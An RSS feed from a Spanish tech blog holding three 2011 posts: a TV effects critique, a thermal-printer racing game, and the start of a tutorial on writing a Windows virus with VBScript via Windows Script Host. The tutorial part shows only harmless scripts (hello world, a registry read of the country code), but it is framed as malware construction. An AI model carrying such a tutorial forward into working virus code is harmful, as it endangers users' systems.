<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title> &#187; Desarrollo</title>
	<atom:link href="http://www.teknoplof.com/category/desarrollo/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.teknoplof.com</link>
	<description></description>
	<lastBuildDate>Sun, 05 Feb 2012 21:54:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
<meta xmlns="http://www.w3.org/1999/xhtml" name="robots" content="noindex,follow" />
		<item>
		<title>Los efectos digitales de todo a cien en la serie &#8216;El barco&#8217;</title>
		<link>http://www.teknoplof.com/2011/07/26/los-efectos-digitales-de-todo-a-cien-en-la-serie-el-barco/</link>
		<comments>http://www.teknoplof.com/2011/07/26/los-efectos-digitales-de-todo-a-cien-en-la-serie-el-barco/#comments</comments>
		<pubDate>Tue, 26 Jul 2011 22:33:12 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[Informática en general]]></category>
		<category><![CDATA[3d]]></category>
		<category><![CDATA[antena 3]]></category>
		<category><![CDATA[efectos digitales]]></category>
		<category><![CDATA[el barco]]></category>
		<category><![CDATA[fx]]></category>
		<category><![CDATA[gaviotas]]></category>
		<category><![CDATA[humo]]></category>
		<category><![CDATA[todo a cien]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=4829</guid>
		<description><![CDATA[Si hace una década me hubieran asegurado que una serie televisiva española de ficción me iba a enganchar pegado al televisor, simplemente me habría descojonado con tal virulencia y acometividad que las costillas flotantes que salen de mi columna vertebral se habrían clavado en mi hígado de manera más que probable. Sin embargo, hoy es el día [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_4831" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-4831" title="FX en 'El barco'" src="http://www.teknoplof.com/wp-content/uploads/2011/07/barco_0.jpg" alt="FX en 'El barco'" width="180" height="140" /><p class="wp-caption-text">FX en &#39;El barco&#39;</p></div>Si hace una década me hubieran asegurado que una serie televisiva española de ficción me iba a enganchar pegado al televisor, simplemente <strong>me habría descojonado</strong> con tal virulencia y acometividad que las costillas flotantes que salen de mi columna vertebral se habrían clavado en mi hígado de manera más que probable. Sin embargo, hoy es el día que puedo asegurar que <strong>la ficción televisiva patria ha alcanzado un nivel tan aceptable</strong> como para lograr competir dignamente con las series estadounidenses, y no sólo en cuota de pantalla, sino también en calidad técnica, aptitud interpretativa y genialidad y <strong>originalidad de sus guiones</strong>. Algunas, claro.</p>
<p>Dejando a un lado las comedias de situación y las reminiscencias del pasado político (que tanto agradan, ambas, por estos lares), títulos como &#8216;Periodistas&#8217;, &#8216;Hospital central&#8217;, &#8216;El comisario&#8217;, &#8216;Cuenta atrás&#8217;, &#8216;RIS científica&#8217;, &#8216;Hay alguien ahí&#8217;, &#8216;Águila Roja&#8217; o &#8216;Piratas&#8217; han hecho evidente que <strong>en España se puede hacer buena televisión de entretenimiento</strong>, obviando los comentarios que ponen a parir a una o a otra por su mediocridad artística, su falta de trama profunda o su prácticamente nula calidad argumental (en la mayoría de los casos <strong>no les falta razón alguna</strong>). Mención especial aparte a &#8216;<a href="http://www.antena3.com/series/el-internado/">El internado</a>&#8216;, probablemente <strong>la única serie capaz de competir de forma rigurosa y seria</strong> con cualquier otra del mundo. Sin duda, la gran obra maestra de la ficción española que, ahora, <a href="http://www.zonaelinternado.com/el-internado-llega-a-rusia/">triunfa en Rusia</a>.</p>
<p>Precisamente, de la productora de &#8216;El internado&#8217;, <a href="http://www.globomedia.es/principal.aspx">Globomedia</a>, llegó a principios de este año 2011 un nuevo título que <strong>prometía hacer las delicias</strong> de los amantes de la ciencia ficción en la pequeña pantalla. La serie (Antena 3), titulada &#8216;<a href="http://www.antena3.com/series/el-barco/">El barco</a>&#8216;, traía consigo emoción, intriga y suspense, algo que se hizo evidente en <strong>un más que bueno episodio piloto</strong>. Sin embargo, y tras trece capítulos de su primera temporada, <strong>&#8216;El barco&#8217; ha pinchado como serie de ficción</strong> y se ha convertido en un melodrama romanticón plagado de amoríos, relaciones y folleteos varios en alta mar (más alta que nunca, por cierto). La trama es técnicamente un despropósito, pero, <strong>bien llevada</strong>, podría haber conseguido laureles y vítores de la crítica y del público. Empero, los responsables han preferido agradar a los televidentes quinceañeros a golpe de fotogramas de Mario Casas sin camiseta y de Blanca Suárez en paños menores, <strong>descuidando la idea original</strong> hasta puntos insospechados.</p>
<p>Pero lo que más nos ha llamado la atención en este blog no es la calidad interpretativa del elenco, ni siguiera las incoherencias de un guión cogido con alfileres. Lo que a nosotros nos interesa es <strong>la parte tecnológica del asunto</strong>, en este caso el área de los <strong>efectos especiales digitales</strong> de la grabación. Y es que parece mentira que una serie de una de las productoras más potentes de país, en el año 2011 de Nuestro Señor Jesucristo, lleve pegoteados en la cinta unos efectos que cualquiera en su casa, un poco (pero poco) avezado en el manejo de 3D Studio o After Effects, <strong>podría haber creado en cinco minutos</strong>. Resulta un insulto gravísimo al espectador, al que tratan de tonto e ignorante.</p>
<p><a href="http://es.wikipedia.org/wiki/Croma">Cromas</a> evidentes, perspectivas imposibles, efectos repetidos, pájaros de conducta errática y humaredas voluptuosas son algunos ejemplos de las decenas de efectos <strong>dignos de un parvulario del modelado en 3D</strong>. A buen seguro, el único efecto realista que han sido capaces de recrear es el de la neblina de la cortinilla de la serie que, por cierto, <strong>reutilizan en el capítulo &#8216;Niebla&#8217;</strong>, pero a lo bestia. Como honrosa excepción, sólo se salva el episodio &#8216;El hombre de Liverpool&#8217;, con sus transiciones entre presente y pasado, aunque eso poco tiene que ver con efectos en tres dimensiones, pero era de recibo comentarlo.</p>
<p>El barco creado por ordenador para los planos generales y panorámicos largos es <strong>simplemente patético</strong>. La suerte les acompaña porque se ve pequeñito (desde muy lejos), ocultando y tapando la mayoría de los defectos. Sin embargo, <strong>lo que no han podido esconder es el movimiento de la nave</strong>, ya sea a la hora de esquivar un remolino, tipo sumidero, en alta mar o en el momento de mostrar al barco encallado en vete tú a saber dónde en el medio del océano. La fluidez de los movimientos del modelo 3D recuerda muy poco a las películas de Pixar y muy mucho a &#8216;<a href="http://es.wikipedia.org/wiki/Los_Fruittis">Los Fruittis</a>&#8216;.</p>
<p>A muchos de los planos que utilizan la técnica del <em>chroma key</em> <strong>sólo les falta que se les caiga una sábana verde por detrás</strong>. Tienen el tufillo de aquellas películas antiguas en las que un grupo de personas parece viajar en el interior de un coche <strong>mientras el fondo se mueve descaradamente</strong> a sus espaldas. Algo que, a la altura de siglo que andamos, es inconcebible. Ni que decir tiene que un escenario no puede ser nunca tan estático <strong>que parezca una fotografía</strong> evidente de una puesta de sol tropical. Pues &#8216;El barco&#8217; tiene de esos también.</p>
<p>De todos los despropósitos digitales que se pueden encontrar, <strong>los que más llaman la atención son dos</strong>; sin duda, los más notorios por nocivos para la retina. El primero de ellos se da en el capítulo &#8216;El graznido&#8217;, en el que miles de aves de dudosa procedencia toman el buque en busca de comida. Los planos generales muestran <strong>un barco repleto de puntos negros</strong>, que representan a los pájaros posados en él, y <strong>una jauría en rededor</strong> de cuervos y gaviotas (y ¿palomas?) acechando a los tripulantes. En una de las imágenes se puede comprobar la profesionalidad de los diseñadores al programar <strong>el movimiento calculado de la bandada</strong>. Dos gaviotas (se pueden ver en el centro superior de la imagen siguiente) sufren <strong>un comportamiento errático</strong> al volar una hacia la otra, chocar y <strong>continuar agitando las alas en el sitio</strong>, sin desplazarse. Un <a href="http://es.wikipedia.org/wiki/Bug"><em>bug</em></a> al más puro estilo &#8216;Pro Evolution Soccer&#8217;, cuando un jugador comienza a caminar por el aire o atraviesa el terreno de juego con las piernas saliendo de sus hombros.</p>
<p><div id="attachment_4832" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-4832" title="Gaviotas de vuelo chungo" src="http://www.teknoplof.com/wp-content/uploads/2011/07/barco_1.jpg" alt="Gaviotas de vuelo chungo" width="500" height="211" /><p class="wp-caption-text">Gaviotas de vuelo chungo</p></div>
<p>El vídeo que corresponde a este fotograma <a href="http://www.antena3.com/videos/el-barco/temporada-1/capitulo-5.html">se puede visionar en la propia web de Antena 3</a>. Se corresponde con <strong>la quinta parte del capítulo 5</strong>, y el gazapo empieza alrededor del minuto <code>4:02</code> (produciéndose en el <code>4:05</code>, aproximadamente). Es el más evidente, pero apuesto a que, examinando a fondo el averío, se pueden encontrar bastantes más.</p>
<p>El segundo momento estelar se refiere al episodio &#8216;La ley del mar&#8217;, donde <strong>el navío se queda sin combustible justo encima de un volcán submarino</strong> (que ya es puntería y casualidad, mirusté). Hace mucho calor y el agua del mar hierve (literalmente) provocando quemaduras de primer grado en un bañista inconsciente, <strong>pero en los peces no</strong>. De pronto, y como si por arte de magia se tratara, el volcán entra en erupción, arrojando al exterior <strong>inmensas nubes de ceniza y humo</strong>, pero ni una gota de agua. ¿O sí es agua? Quién sabe. El fuerte estallido <strong>ha sido modelado de una forma tan soez, burda, tosca, basta y ordinaria</strong>, que no me explico como no han dejado directamente la malla de polígonos al descubierto; habría quedado más simpático y menos grotesco, irrisorio y ridículo. En el vídeo siguiente se puede comprobar también <strong>la pericia del animador 3D</strong> para conjugar esos hongos negros rechonchos con el resto de la escena.</p>
<p style="text-align: center;"><div id="attachment_4833" class="wp-caption aligncenter" style="width: 460px"><p><a href="http://www.teknoplof.com/2011/07/26/los-efectos-digitales-de-todo-a-cien-en-la-serie-el-barco/"><em>Pinche aquí para ver el vídeo</em></a></p><p class="wp-caption-text">Chunga erupción de un volcán submarino</p></div></p>
<p>Desconozco (y no quiero conocer) qué empresa ha sido <strong>la encargada de generar los efectos digitales</strong> de esta serie, aunque me juego el cuello a que anda por ahí entremetida en los títulos de crédito. No sé si es una compañía de saldos o es que <strong>el presupuesto ha sido tan bajo</strong> que han puesto a trabajar a los becarios en prácticas. Desde luego, <strong>es amoral e inadmisible</strong> que, en esta época, una empresa de animación haga este trabajo para un cliente tan importante y <strong>pase todos los filtros y cortapisas</strong> hasta llegar a la audiencia. Si es así como queremos competir con las series americanas, <strong>casi mejor que nos dediquemos a aídas y cuentamés</strong>, que la cosa pinta más fácil para los expertos en FX de este país, antes conocido como España. Para ponerse a mear y no echar ni gota, oiga.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2011%2F07%2F26%2Flos-efectos-digitales-de-todo-a-cien-en-la-serie-el-barco%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2011/07/26/los-efectos-digitales-de-todo-a-cien-en-la-serie-el-barco/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Los efectos digitales de todo a cien en la serie &#8216;El barco&#8217;" data-url="http://www.teknoplof.com/2011/07/26/los-efectos-digitales-de-todo-a-cien-en-la-serie-el-barco/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2011/07/26/los-efectos-digitales-de-todo-a-cien-en-la-serie-el-barco/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Genios con mucho tiempo libre</title>
		<link>http://www.teknoplof.com/2011/06/21/genios-con-mucho-tiempo-libre/</link>
		<comments>http://www.teknoplof.com/2011/06/21/genios-con-mucho-tiempo-libre/#comments</comments>
		<pubDate>Tue, 21 Jun 2011 13:56:24 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[Geek txoko]]></category>
		<category><![CDATA[Tecnologías varias]]></category>
		<category><![CDATA[Zona friqui]]></category>
		<category><![CDATA[genios]]></category>
		<category><![CDATA[joshua noble]]></category>
		<category><![CDATA[martin fuchs]]></category>
		<category><![CDATA[philip whitfield]]></category>
		<category><![CDATA[receipt racer]]></category>
		<category><![CDATA[tiempo libre]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=4722</guid>
		<description><![CDATA[Me encantan los proyectos inútiles, estúpidos de concepción y poco o nada rentables de manufacturación pero que destilan genialidad por los cuatro costados. No sé por qué oscura razón me atraen sobremanera aquellas ideas que resultan asaz avanzadas en el asunto tecnológico mas totalmente inservibles en el fondo práctico, si no es poco más allá del [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_4725" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-4725" title="Receipt Racer" src="http://www.teknoplof.com/wp-content/uploads/2011/06/rece_0.jpg" alt="Receipt Racer" width="180" height="113" /><p class="wp-caption-text">Receipt Racer</p></div>Me encantan los proyectos inútiles, estúpidos de concepción y poco o nada rentables de manufacturación pero que <strong>destilan genialidad</strong> por los cuatro costados. No sé por qué oscura razón me atraen sobremanera aquellas ideas que resultan asaz avanzadas en el asunto tecnológico mas <strong>totalmente inservibles en el fondo práctico</strong>, si no es poco más allá del paso ameno del momento y del correspondiente colgado de medalla en el pecho para expectación en el mundo del desarrollo friqui.</p>
<p>La agudeza y el ingenio que requiere <strong>doblegar a la máquina</strong>, mezclando tecnologías, en principio, incompatibles, dominando la ciencia y el lenguaje de los distintos mecanismos y perdiendo horas de sueño, es simplemente <strong>digno de elogio y alabanza</strong>. Es por ello que me apasiona el trabajo de aquellos que instalan <a href="http://www.xataka.com/consolas-y-videojuegos/linux-en-la-xbox-360-sin-necesidad-de-cable-al-ordenador">una <em>distro</em> de GNU/Linux en una Xbox 360</a>, la hazaña de hacer sonar la <a href="http://despuesdeg.com/2009/02/07/musica-de-star-wars-interpretada-por-un-disco-duro/">&#8220;Marcha Imperial&#8221; de Star Wars con un disco duro</a>, el potencial inerte de <a href="http://gifslocosanimados.wordpress.com/2010/06/29/la-maquina-perfecta/">la máquina perfecta</a> o el currelo de programar lo que estos chavales, que detallo en esta breve recensión, han sido capaces de desarrollar. <strong>Improductivo, sí, pero formidable</strong>.</p>
<p><div id="attachment_4726" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-4726" title="Controlando el juego" src="http://www.teknoplof.com/wp-content/uploads/2011/06/rece_1.jpg" alt="Controlando el juego" width="500" height="308" /><p class="wp-caption-text">Controlando el juego</p></div>
<p>Material necesario: una <strong>impresora de tiques</strong> térmica, un <strong>rollo de papel</strong> para la anterior, un <strong>ordenador portátil</strong> con sistema operativo Mac, un <strong>proyector de luz</strong>, el <strong>mando de una PlayStation <del datetime="2011-06-23T19:46:49+00:00">2</del>3</strong> y mucha, pero que mucha, imaginación y sapiencia. En el perfecto marco del <a href="http://offf.ws/bcn2011/en/">festival OFFF</a> (bajo el evento denominado &#8220;Vamos a alimentar el taller del futuro&#8221;), en Barcelona, el norteamericano <a href="http://thefactoryfactory.com/wordpress/">Joshua Noble</a>, junto con Martin Fuchs y Philip Whitfield (ambos chicos de <a href="http://www.undef.ch/">Undef</a>), crearon <strong>un alucinante juego de carreras</strong> en el que el mando de la Play <del datetime="2011-06-23T19:46:49+00:00">2</del> 3 es el control principal, el circuito o carretera digital <strong>se imprime en tiempo real en la impresora térmica</strong> y un proyector de luz marca sobre el papel el coche que dirigimos, la puntuación y otros datos. Lo ideal es contemplar el vídeo siguiente para entender la idea. Esto fue el pasado 8 de junio de este año 2011, y el juego se llama &#8220;Receipt Racer&#8221;.</p>
<p style="text-align: center;"><div id="attachment_4727" class="wp-caption aligncenter" style="width: 460px"><p><a href="http://www.teknoplof.com/2011/06/21/genios-con-mucho-tiempo-libre/"><em>Pinche aquí para ver el vídeo</em></a></p><p class="wp-caption-text">El juego funcionando</p></div></p>
<p>El tamaño máximo del circuito es de 50 metros, ya que esta es la <strong>longitud total estándar de los rollos</strong> de papel térmico. En un principio pensaron en utilizar la impresora como medio estático único para la representación visual, pero el proyecto se antojaba imposible. Posteriormente, a Joshua se le ocurrió <strong>añadir el pequeño proyector de luz</strong> que, convenientemente controlado por el mando de videoconsola, era capaz de sobreimpresionar el coche y el resto de datos cambiantes.</p>
<p>La aplicación que controla todo este tinglado (desarrollada enteramente durante el taller) fue generada <strong>a partes iguales por los tres tipos</strong> sobre la plataforma <a href="http://en.wikipedia.org/wiki/OpenFrameworks">openFrameworks</a>. Una rutina genera aleatoriamente los circuitos y los coches de relleno y <strong>los imprime en tiempo real en la impresora</strong>. Asimismo, varias funciones detectan la posición del haz de luz que representa el coche del jugador y <strong>cruzan los datos con el circuito dibujado</strong>. De esta manera, aunque esto resultó lo más complicado, es posible programar mínimamente una <strong>detección de colisiones básica</strong> que nos indicará cuando el vehículo que manejamos ha chocado contra otro coche o contra los bordes de la carretera.</p>
<p>Evidentemente, esta tecnología, y desarrollada en tan poco tiempo, <strong>muy precisa no resulta</strong>. En el vídeo anterior se puede comprobar perfectamente como, antes del choque final, el coche se estrella con al menos dos vehículos impresos; <strong>y no sucede nada</strong>. El sistema tuvo que ser calibrado en varias ocasiones hasta conseguir la máxima precisión, empero, los caprichos de una máquina mecánica, como es una impresora, son múltiples y variados para conseguir un requerimiento de milímetros.</p>
<p>Al final del taller, los muchachos añadieron algunos detalles finales como <strong>la puntuación, el número de nivel y el resto de textos lumínicos</strong> de incio y fin. La impresora muestra también un fin de juego al estrellarse el coche, detallando el tiempo transcurrido, el nivel alcanzado y los puntos obtenidos.</p>
<p>En fin, <strong>una obra maestra</strong> de ingeniería que demuestra que en el mundo hay mucho geek dispuesto a perder algo de su tiempo libre para regalar nuestros sentidos con perlas tecnológicas como esta. Babeando ando todavía.</p>
<p>Por cierto, se puede <strong>jugar a una versión virtual</strong> del engendro <a href="http://www.undef.ch/receipt-racer">desde la web de Undef</a> y, también, <strong><a href="http://www.undef.ch/uploads/receiptRacer.zip">descargar el código fuente</a></strong> compilado para Mac.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2011%2F06%2F21%2Fgenios-con-mucho-tiempo-libre%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2011/06/21/genios-con-mucho-tiempo-libre/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Genios con mucho tiempo libre" data-url="http://www.teknoplof.com/2011/06/21/genios-con-mucho-tiempo-libre/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2011/06/21/genios-con-mucho-tiempo-libre/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Programando fácilmente un virus para Windows</title>
		<link>http://www.teknoplof.com/2011/03/21/programando-facilmente-un-virus-para-windows/</link>
		<comments>http://www.teknoplof.com/2011/03/21/programando-facilmente-un-virus-para-windows/#comments</comments>
		<pubDate>Mon, 21 Mar 2011 16:00:48 +0000</pubDate>
		<dc:creator>Jonathan</dc:creator>
				<category><![CDATA[Desarrollo]]></category>
		<category><![CDATA[Underground]]></category>
		<category><![CDATA[programación]]></category>
		<category><![CDATA[vbs]]></category>
		<category><![CDATA[virii]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[visual basic script]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[windows script host]]></category>
		<category><![CDATA[wsh]]></category>

		<guid isPermaLink="false">http://www.teknoplof.com/?p=4417</guid>
		<description><![CDATA[Recientemente, la historia de los virus informáticos ha cumplido ya cuarenta años. Casi medio siglo de quebraderos de cabeza con los que los usuarios y las empresas han tenido que lidiar prácticamente a diario. Aquel viejo ideario de infecciones al estilo Creeper (1971) o el español Barrotes (1993), donde los virus representaban un arte y [...]]]></description>
			<content:encoded><![CDATA[<p><div id="attachment_4419" class="wp-caption alignleft" style="width: 190px"><img class="size-full wp-image-4419" title="Windows virii" src="http://www.teknoplof.com/wp-content/uploads/2011/03/virus_0.jpg" alt="Windows virii" width="180" height="172" /><p class="wp-caption-text">Windows virii</p></div>Recientemente, <strong>la historia de los virus informáticos </strong><a href="http://www.cookingideas.es/virus-40-20110317.html"><strong>ha cumplido ya cuarenta años</strong></a>. Casi medio siglo de quebraderos de cabeza con los que los usuarios y las empresas han tenido que lidiar prácticamente a diario. Aquel viejo ideario de infecciones al estilo <a href="http://es.wikipedia.org/wiki/Creeper_(virus)">Creeper</a> (1971) o el español Barrotes (1993), donde <strong>los virus representaban un arte y un reto intelectual totalmente inocuo</strong>, desencadenó en una tremenda oleada de software malicioso que robaba datos, destruía sistemas operativos y producía <strong>millones de euros en pérdidas</strong>. ¿Quién no recuerda los tiempos de Viernes 13 (1988), Melissa (1999) o LoveLetter (2000)?    </p>
<p>Desgraciadamente (o afortunadamente) las herramientas para elaborar cualquier pieza de software <strong>están hoy día al alcance de cualquiera</strong>. Los antiguos y complejos desarrollos en ensamblador han dado paso a lenguajes modernos de alto nivel, fáciles de aprender y rápidos de implementar.    </p>
<p>Los <a href="http://es.wikipedia.org/wiki/Batch">archivos de proceso por lotes</a> de MS-DOS (ficheros de extensión <code>.BAT</code>) fueron <strong>aquellos grandes olvidados en la programación de virus</strong>. No obstante, los expertos en su diseño vieron en ellos una <strong>alternativa veloz y potente para desarrollar </strong><a href="http://es.wikipedia.org/wiki/Malware"><em><strong>malware</strong></em></a>, y <a href="http://www.wikilearning.com/curso_gratis/el_fascinante_mundo_de_los_virus_informaticos-ejemplos_de_virus_en_ms_dos/4744-14">algún bicho codificado de aquella forma llegó a ver la luz</a>, eso sí, sin gran incidencia.    </p>
<p>Posteriormete, y <strong>gracias al procesamiento por lotes integrado en Windows</strong> a través de su herramienta de administración Windows Scripting Host (rebautizada en su segunda versión como <a href="http://es.wikipedia.org/wiki/Windows_Scripting_Host">Windows Script Host</a>), los desarrollos víricos se multiplicaron exponencialmente, pues la potencia de desarrollo, unida a la suave curva de aprendizaje, <strong>permitía generar virus mortíferos en horas</strong> o, incluso (dependiendo de la pericia del programador) en minutos.    </p>
<p>Windows Script Host (WSH) <strong>es una utilidad administrativa</strong> que se provee con todas las versiones del sistema operativo del tío Bill desde Windows 98. En principio, <strong>su utilidad se basa en la generación de archivos de lotes</strong>, sin embargo, la potencia de estos ficheros con respecto a los antiguos <a href="http://es.wikipedia.org/wiki/Batch">ficheros <em>batch</em></a> es muy superior. La fortaleza reside en dos conceptos primordiales: <strong>los lenguajes de programación</strong> que implementa y <strong>los objetos del sistema</strong> que es capaz de manejar.    </p>
<p>WSH permite utilizar en la actualidad <strong>un amplio abanico de motores de <em>script</em></strong> en su desarrollo, a saber: <a href="http://es.wikipedia.org/wiki/VBScript">VBScript</a>, <a href="http://es.wikipedia.org/wiki/JScript">JScript</a>, <a href="http://en.wikipedia.org/wiki/PerlScript">PerlScript</a>, <a href="http://www.oorexx.org/">ooRexx Script</a>, <a href="http://en.wikipedia.org/wiki/Python_(programming_language)">Python Script</a>, <a href="http://www.tclscript.com/">Tcl Script</a>, <a href="http://en.wikipedia.org/wiki/PHP_script">Active PHP Script</a>, <a href="http://www.ruby-lang.org/es/">Ruby Script</a>, <a href="http://www.oorexx.org/products.html">Object Rexx engine</a> y <a href="http://www.vclcomponents.com/Delphi/Miscellaneous/Delphi_script_component__Win__Script_Host_Control_-info.html">Delphi scripting engine</a>. Cualquier programador con conocimientos básicos de prácticamente cualquier lenguaje <strong>puede desarrollar un <em>script</em> para WSH</strong>. Asimismo, estos archivos de guión <strong>son capaces de acceder a características varias de un sistema operativo</strong> tales como, por ejemplo, variables de entorno, recursos de red compartidos, impresoras, el registro, el árbol de directorios, software instalado, Internet, archivos, etcétera. Una herramienta potente y <strong>un arma de doble filo</strong>.    </p>
<p>Lo que se propone aquí es <strong>una introducción al entorno WSH a través de aplicaciones en VBScript</strong>, el lenguaje de guión más sencillo e intuitivo, hermano pequeño torpe de Visual Basic. Como todo tutorial de programación que se precie, <strong>es preceptivo comenzar con una aplicación <code>"Hola mundo"</code></strong>, si no esto ni es tutorial ni es nada. Los archivos de <em>script</em> <strong>se escriben como texto plano sin formato</strong> en cualquier editor al uso (como <strong>Bloc de notas</strong>, por ejemplo). El código, con métodos del propio WSH y en formato VBScript, es el que sigue:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax1"></a><a style="wp-synhighlighter-title" href="#codesyntax1"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código VBScript</a></div><div class="wp-synhighlighter-inner"><div class="vb" style="font-family:monospace;">WScript.Echo &quot;Hola mundo&quot;<br />
WScript.Quit </div></div></div><br />
El objeto <code>WScript</code> proporciona <strong>el acceso a la raíz del modelo principal de objetos</strong> de WSH. No necesita ser declarado antes ser invocado, pues sus métodos y propiedades están siempre disponibles desde cualquier <em>script</em>. El método <code>Echo</code> <strong>muestra el cuadro de mensaje típico de Windows</strong> con un texto que se corresponde con la cadena alfanumérica que se le pasa como argumento (<code>"Hola mundo"</code>). Por último, el método <code>Quit</code> termina el <em>script</em>, forzándolo a parar su ejecución.    </p>
<p>¿Sencillo, verdad? Este archivo <strong>lo debemos guardar con la extensión <code>.VBS</code></strong> y, para ejecutarlo, sólo es necesario un doble clic en el icono correspondiente (o una llamada desde la línea de comandos de la consola).    </p>
<p>Si hubiésemos deseado generar un fichero JScript, los métodos no habrían variado, pues son propios del WSH, sin embargo <strong>la sintaxis habría sido sutilmente distinta</strong>:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax2"></a><a style="wp-synhighlighter-title" href="#codesyntax2"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código JScript</a></div><div class="wp-synhighlighter-inner"><div class="javascript" style="font-family:monospace;">WScript.Echo (&quot;Hola mundo&quot;);<br />
WScript.Quit (); </div></div></div><br />
Este archivo, para que funcionara correctamente, <strong>habríamos de guardarlo con extensión <code>.JS</code></strong>.    </p>
<p>Prosiguiendo con nuestra fatídica infección vírica, vamos a avanzar un paso más. <strong>Necesitamos conocer el idioma del sistema operativo</strong>, por lo que vamos a internarnos en el registro de Windows para extraer el dato de una manera elegante:    </p>
<p><div><div class="wp-synhighlighter-expanded"><a name="#codesyntax3"></a><a style="wp-synhighlighter-title" href="#codesyntax3"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código VBScript</a></div><div class="wp-synhighlighter-inner"><div class="vb" style="font-family:monospace;"><span style="color: #000080;">Dim</span> WSc, IdiomaActual<br />
<span style="color: #000080;">Set</span> WSc = CreateObject(&quot;WScript.Shell&quot;)  <br />
<span style="color: #000080;">Sub</span> Idioma ()<br />
  <span style="color: #000080;">Dim</span> LeerRegistro  <br />
  LeerRegistro = WSc.RegRead (&quot;HKEY_CURRENT_USER\<span style="color: #000080;">Control</span> _<br />
    Panel\International\iCountry&quot;)  <br />
  <span style="color: #000080;">Select</span> <span style="color: #000080;">Case</span> LeerRegistro<br />
    <span style="color: #000080;">Case</span> 54,591,56,57,506,593,503,34,502,504,52,505,507,595,51,598,58<br />
      IdiomaActual = 1<br />
    <span style="color: #000080;">Case</span> 1,44<br />
      IdiomaActual = -1<br />
    <span style="color: #000080;">Case</span> <span style="color: #000080;">Else</span><br />
      IdiomaActual = 0<br />
   <span style="color: #000080;">End</span> <span style="color: #000080;">Select</span><br />
<span style="color: #000080;">End</span> <span style="color: #000080;">Sub</span>   </div></div></div><br />
Tras la declaración inicial de variables se asigna a <code>WSc</code> el objeto <code>WScript.Shell</code>, que <strong>permite acceder al registro</strong>, entre otras virtudes como ejecutar programas, crear accesos directos o procurar el acceso a los directorios del sistema. Estas dos líneas están fuera del procedimiento <code>Sub</code> porque necesitamos <strong>que sean declaraciones globales</strong> a todo el <em>script</em> (las utilizaremos después también).    </p>
